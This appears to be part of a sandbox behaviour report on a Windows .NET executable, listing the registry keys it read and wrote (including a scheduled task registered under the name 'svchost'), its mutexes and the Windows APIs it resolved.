HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceDll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceManifest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceMain
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileMinMemory
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Help
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Help
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_metadata
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobInactivityTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TimeQuantaLength
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobNoProgressTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobMinimumRetryDelay
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TransferBufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackBegin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackEnd
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackDuration
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TestFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\ForceFileFlush
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\UseLmCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\IGDSearcherDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileChunk
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileWriteBuffer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StateIndex
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DD9F510C-95F4-499A-90C8-BAC5BC372FF4}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DD9F510C-95F4-499A-90C8-BAC5BC372FF4}\Triggers
HKEY_USERS\S-1-5-20\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\WOW64
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20\ProfileImagePath
HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\RequiredPrivileges
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_64\RequiredPrivileges
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\179b8a65-b0f6-41d9-acea-12006ef9b32a\ManifestFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\179b8a65-b0f6-41d9-acea-12006ef9b32a\PluginFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\c42d83ff-5958-4af4-a0dd-ba02fed39662\ManifestFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\c42d83ff-5958-4af4-a0dd-ba02fed39662\PluginFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/bios/4.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/bios/4.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/flags/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/phone/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/pkey/2005\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/vmd/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/volume/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/eul/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/pkc/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/rac/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/spc/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/sequence/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/TaskScheduler/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/licenserenewal/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/windowsfunctionality/agent/7.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/windowsfunctionality/agent/7.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/flags/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/phone/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/pkey/2005\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/vmd/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/volume/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/eul/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/pkc/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/rac/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/spc/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/sequence/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/TaskScheduler/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/licenserenewal/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\EnableTestVolumeIntervals
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLActivationInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLRenewalInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLRenewalScheduleDelay
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLRenewalScheduleTolerance
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PublisherPolicyChangeTime
HKEY_LOCAL_MACHINE\SYSTEM\Setup\OOBEInProgress
HKEY_LOCAL_MACHINE\SYSTEM\Setup\Status\AuditBoot
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\InactivityShutdownDelay
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\KeepRunningThresholdMins
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\SortOrderIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}\SortOrderIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{35786D3C-B075-49b9-88DD-029876E11C01}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}\SortOrderIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{b155bdf8-02f0-451e-9a26-ae317cfd7779}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\InProcServer32\LoadWithoutCOM
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LocalizedString
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.HideOnDesktop
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{28636AA6-953D-11D2-B5D6-00C04FD918D0} 34
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\(Default)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\OpenIcon
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.FileAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{B725F130-47EF-101A-A5F1-02608C9EEBAC} 13
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.DateModified
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{B725F130-47EF-101A-A5F1-02608C9EEBAC} 14
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\GlobalAssocChangedCounter

Write Keys

HKEY_CURRENT_USER\ZXMZREUEN
HKEY_CURRENT_USER\ZXMZREUEN\Serial
HKEY_CURRENT_USER\ZBIRE
HKEY_CURRENT_USER\ZBIRE\Serial
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\up_RASAPI32
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\Path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\svchost\svchost\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\svchost\svchost\Index
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\Triggers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\DynamicInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\PerfMMFileName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_LOG
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_BAK
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\BITS Writer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\ServiceSessionId

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX
Local\MSCTF.Asm.MutexDefault1
Global\.net clr networking
conhost
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_idx.db!rwWriterMutex
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_32.db!dfMaintainer
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_96.db!dfMaintainer
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_256.db!dfMaintainer
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_1024.db!dfMaintainer
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_sr.db!dfMaintainer
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_idx.db!ThumbnailCacheInit
Global\C::Users:Seven01:AppData:Local:Microsoft:Windows:Explorer:thumbcache_idx.db!rwReaderRefs

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
kernel32.dll.GetSystemWindowsDirectoryW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
mscoreei.dll.CreateConfigStream
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
